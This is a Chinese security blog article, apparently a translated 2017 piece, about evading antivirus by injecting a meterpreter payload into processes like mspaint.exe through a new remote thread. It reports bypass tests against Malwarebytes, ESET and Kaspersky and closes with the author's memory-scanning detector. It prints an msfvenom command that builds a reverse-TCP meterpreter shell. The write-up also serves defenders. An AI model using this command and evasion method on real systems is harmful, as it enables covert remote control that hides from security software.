本文讲的是
免杀新姿势:利用线程将恶意代码注入到内存中,
产生存放远程攻击线程的进程
在这篇文章中我不想一步一步解释我编写的C#代码,但是我会展示下它能够绕过杀毒软件,并且操作非常简单,而且实用。
首先说明一下:
1. 我是在三年前发现这个攻击方法的,当我在做免杀的时候我发现了很多都是以0x0地址开始的进程。在我的win7系统中这种恶意代码绕过了我的杀毒软件,只是在内存中可以找到,然后以系统权限运行。所以,当然是NSA干的咯!
2. 这并不意味着以0x0开始的进程都是进行恶意注入的。
就像刚才所说,我不会将我的”NativePayload_Tinjection.exe”代码分享出来,不过我会阐述下如何在C++,C#或者其他语言如何进行编写攻击poc。
下图中你可以看到当远程进程加载时发生了什么事情,他已经一步一步的展示出来。并且你可以使用C#或者其他语言提供的windowsAPI很简单的实现。
上图中的”evil.dll”是我们通过msfvenom生成的攻击载荷,在kali linux中可以使用以下命令:
Msfvenom –platform windows –arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=w.x.y.z -f c > payload.txt
下一步骤就是将生成的payload通过新的线程注入到另外一个新的进程中去连接远程主机。
我接下来会将我写的代码进行免杀测试,使用最新的杀毒软件。我采用的实验环境是“Win 8.1”,杀毒软件有:“Malwarebytes”、“ESET”、“Kaspersky”。接下来你可以看到,我是怎么简单绕过这三个杀毒软件。
实验一:测试Malwarebyte3.1.2 版本
通过注入线程,我们可以绕过杀软。在这个环境下,我的meterpreter payload通过TID为4268的线程注入到PID为2492的进程,名叫mspaint.exe中。
就像你在上图看到,当产生meterpreter 会话进程之后会在受害机中产生mspaint.exe进程。同时也可以发现TID为4268的线程开始地址为0X0。如果你结束掉TID 4268的线程,那么meterpreter会话就会立马结束。
实验二:测试ESET-Nod3210.1.204.0版本
下图中你可以看到,ESET已经更新到了最近版本”20170516”,不过并没有什么用,我同样将meterpreter攻击载荷通过TID 3932线程注入到了PID为3168的notepad进程中。
实验三:测试Kaspersky v17版本
同样,Kaspersky已经是最新版本v17.0.0.611,漏洞库为”20170516”。不过同样被绕过了。meterpreter通过TID 2932线程注入到了PID为1200进程中.
实验3-1:Kaspersky internet security v17 漏洞库05182017版本
同样被绕过了,即使杀毒软件显示:您的电脑正在被保护。
那么如何检测这种攻击呢?
我自己写了一个软件”Meterpreter_Payload_Detection.exe”,它会在内存识别meterpreter签名,进而发现后门,然后清除。
在下图中你可后门发现绕过ESET-Nod32杀毒软件之后,会被Meterpreter_Payload_Detection.exe拦截。所以个人感觉杀毒软件在内存扫描这一方面做的不是很完备。
上图中,你可以在我软件的界面找到注入到内存的进程,即PID为2116的进程,以及TID为2820的线程。
红颜色字体展示了在内存中扫描签名,当然这也许不是最好的方法检测恶意软件,但是到现在为止,这个工具针对内存检测做的比现有的杀毒软件要好。
原文发布时间为:2017年5月19日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。